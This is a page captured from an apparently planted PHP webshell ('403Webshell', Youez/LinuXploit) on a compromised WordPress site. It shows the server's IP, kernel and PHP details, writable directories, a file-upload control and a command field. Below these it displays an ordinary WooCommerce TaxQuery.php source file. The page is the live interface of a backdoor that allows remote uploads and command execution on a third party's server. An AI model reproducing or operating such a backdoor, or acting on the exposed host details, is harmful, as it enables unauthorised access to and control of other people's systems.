403Webshell
Server IP : 62.72.47.131  /  Your IP : 216.73.217.34
Web Server : Apache/2.4.66 (Debian)
System : Linux 975cdb959a49 5.14.0-611.55.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 19 15:19:29 EDT 2026 x86_64
User :  ( 501)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/woocommerce/src/Internal/ProductAttributesLookup/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/plugins/woocommerce/src/Internal/ProductAttributesLookup/TaxQuery.php
<?php declare( strict_types=1 );

namespace Automattic\WooCommerce\Internal\ProductAttributesLookup;

/**
 * Tax query class introduced to optimize SQL performance in bigger product/category catalogs.
 */
class TaxQuery extends \WP_Tax_Query {
	/**
	 * Generates SQL JOIN and WHERE clauses for a "first-order" query clause.
	 *
	 * @since 10.9.0
	 *
	 * @param array $clause       Query clause (passed by reference).
	 * @param array $parent_query Parent query array.
	 * @return array {
	 *     Array containing JOIN and WHERE SQL clauses to append to a first-order query.
	 *
	 *     @type string[] $join  Array of SQL fragments to append to the main JOIN clause.
	 *     @type string[] $where Array of SQL fragments to append to the main WHERE clause.
	 * }
	 */
	public function get_sql_for_clause( &$clause, $parent_query ) {
		global $wpdb;

		// Optimization note: targeting only the 'IN' operator, where the default 'LEFT JOIN' causes performance issues.
		if ( 'IN' !== $clause['operator'] ) {
			return parent::get_sql_for_clause( $clause, $parent_query );
		}

		// Call the parent method so it does necessary cleanup with its private APIs.
		$fallback = parent::get_sql_for_clause( $clause, $parent_query );
		if ( array( '' ) === $fallback['join'] && array( '0 = 1' ) === $fallback['where'] ) {
			return $fallback;
		}

		// Optimization note: 'fan-out LEFT JOIN' -> 'pre-materialized subquery' transition for better SQL performance.
		$terms = implode( ',', array_map( 'absint', $clause['terms'] ) );
		return array(
			'join'  => array( '' ),
			'where' => array( "$this->primary_table.$this->primary_id_column IN ( SELECT object_id FROM $wpdb->term_relationships WHERE term_taxonomy_id IN ( $terms ) )" ),
		);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit